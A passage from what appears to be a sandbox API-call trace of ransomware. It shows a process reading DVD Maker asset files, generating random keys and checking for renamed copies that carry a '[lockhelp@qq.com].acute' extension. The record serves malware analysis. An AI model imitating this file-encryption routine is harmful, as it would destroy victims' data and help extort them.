Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.685] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.686] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=77208) returned 1 [0273.686] CloseHandle (hObject=0x37c) returned 1 [0273.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0273.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.686] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.686] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=85208) returned 1 [0273.686] CloseHandle (hObject=0x37c) returned 1 [0273.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0273.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.687] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.687] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=157208) returned 1 [0273.687] CloseHandle (hObject=0x37c) returned 1 [0273.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0273.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.687] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.687] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=165208) returned 1 [0273.688] CloseHandle (hObject=0x37c) returned 1 [0273.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0273.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.867] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.945] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27281) returned 1 [0273.948] CloseHandle (hObject=0x37c) returned 1 [0273.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png")) returned 0x20 [0273.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.953] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.137] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3878) returned 1 [0274.138] CloseHandle (hObject=0x37c) returned 1 [0274.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png")) returned 0x20 [0274.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.138] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.138] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5059) returned 1 [0274.138] CloseHandle (hObject=0x37c) returned 1 [0274.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png")) returned 0x20 [0274.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.138] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.138] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=27281) returned 1 [0274.138] CloseHandle (hObject=0x37c) returned 1 [0274.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png")) returned 0x20 [0274.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.139] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.139] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.139] CloseHandle (hObject=0x37c) returned 1 [0274.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp")) returned 0x20 [0274.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.139] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.139] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3878) returned 1 [0274.139] CloseHandle (hObject=0x37c) returned 1 [0274.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png")) returned 0x20 [0274.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.139] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.140] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3215) returned 1 [0274.140] CloseHandle (hObject=0x37c) returned 1 [0274.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png")) returned 0x20 [0274.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.140] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.141] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5059) returned 1 [0274.141] CloseHandle (hObject=0x37c) returned 1 [0274.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png")) returned 0x20 [0274.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.141] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.141] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5072) returned 1 [0274.141] CloseHandle (hObject=0x37c) returned 1 [0274.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp")) returned 0x20 [0274.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.141] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.142] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=23711) returned 1 [0274.142] CloseHandle (hObject=0x37c) returned 1 [0274.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png")) returned 0x20 [0274.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.142] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.143] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4570) returned 1 [0274.144] CloseHandle (hObject=0x37c) returned 1 [0274.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png")) returned 0x20 [0274.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.144] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.145] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2820) returned 1 [0274.145] CloseHandle (hObject=0x37c) returned 1 [0274.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0274.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.145] CryptGenRandom (in: 